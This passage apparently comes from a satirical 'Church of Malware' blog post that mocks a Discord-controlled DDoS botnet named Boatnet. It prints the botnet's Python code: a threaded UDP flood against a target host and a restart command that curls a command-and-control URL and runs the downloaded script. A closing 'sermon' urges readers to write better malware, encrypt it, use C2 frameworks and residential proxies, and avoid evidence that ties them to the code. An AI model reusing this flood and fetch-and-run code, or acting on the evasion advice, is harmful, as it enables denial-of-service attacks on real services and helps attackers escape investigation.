udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
letterlist = ["@", "#", "-", ".", ",", "?", "S", ";", "\0", ">", "=", "/"]
def shit():
i1 = random.choice(letterlist)
i2 = random.choice(letterlist)
i3 = random.choice(letterlist)
i4 = random.choice(letterlist)
i5 = random.choice(letterlist) * 6
data = f"{i1}{i2}{i5}{i3}{i4}" * 147
data = data.encode('utf-8')
for _ in range(1550):
udp_socket.sendto(data, (str(thost), int(tport)))
for i in range(1000):
threading.Thread(target=shit()).start()
@bot.command()
async def restart(ctx):
if int(server) == 1:
embed = discord.Embed(title="RESTART:closed_lock_with_key:", description="All servers are getting Restarted.", colour=discord.Colour.green())
await ctx.reply(embed=embed)
try:
os.system(f"pip install discord && pip install requests && pip install lxml && curl -sL [REDACTED_C2_URL] > main.py && python main.py -s {server}")
exit()
except: exit()
@bot.command()
async def crash(ctx):
if int(server) == 1:
embed = discord.Embed(title=f"Crashed:closed_lock_with_key:", description=f"All Servers Were Crashed.", colour=discord.Colour.green())
await ctx.reply(embed=embed)
exit()
@bot.command()
async def stop(ctx):
global stopset
stopset = True
if int(server) == 1:
embed = discord.Embed(title="Attack stopped!", colour=discord.Colour.green())
await ctx.send(embed=embed)
bot.run("[REDACTED_DISCORD_BOT_TOKEN]")
The Sermon: What We Can Learn
-
Encrypt your malware, you absolute donut. If you're going to commit computer crimes, at least pretend you're trying not to get caught. The Church teaches that OPSEC is not optional - it is the difference between a successful operation and a federal indictment.
-
Discord is not C2 infrastructure. It's a chat app for gamers. The same moderators who ban people for posting memes will ban your botnet channel. Use proper C2 frameworks like Covenant, Empire, or PoshC2. Or better yet, roll your own with proper encryption.
-
Public proxies are public for a reason. They're slow, unreliable, and probably already monitored by security researchers. If you're going to proxy traffic, build your own proxy network or pay for residential proxies.
-
Variable names matter. If your attack code has a function named
shit(), you're not ready to run a botnet. Professional code reflects a professional mindset. The Church teaches that discipline in coding translates to discipline in operations. -
The FBI doesn't care about your ASCII art. But they will use it as evidence. Every unique piece of art, every custom string, every "funny" variable name becomes a fingerprint that ties you to the code.
-
Know your target's defenses. Testing proxies against Google.com tells you nothing about whether they'll work against Cloudflare, Akamai, or any real DDoS protection. Proper reconnaissance is the foundation of effective malware.
-
Have an exit strategy.
exit()is not a strategy. Real malware has kill switches, fallback C2 domains, and contingency plans. This code just gives up.
The Benediction: A Prayer for the Fallen Skid
Dearly beloved, we gather here today to mock the fallen - not out of malice, but out of love. For every terrible line of code is a lesson. Every hardcoded token is a warning. Every shit() function is a sermon on what not to do.
The author of Boatnet (may their Discord account rest in peace) will likely never read this article. They're probably off writing another botnet, maybe this time with base64 encoding (baby steps). But we, the congregation of the Church of Malware, have been enriched by their failure.
We have seen the promised land of incompetence and returned with souvenirs. We have laughed at the ASCII art and wept at the logic. We have learned.
So let us go forth and write better malware. Let us encrypt our strings, hide our C2, and never, ever name a function shit().
Malware bless.
Amen.
This contribution was provided by our homie 4x. The Church appreciates your contributions. Malware bless.
Want to contribute to the Church of Malware? Run a honeypot? Found something stupid in the wild? Hit us up. We're always looking for more scripture.
Email: 0x_k0ms@proton.me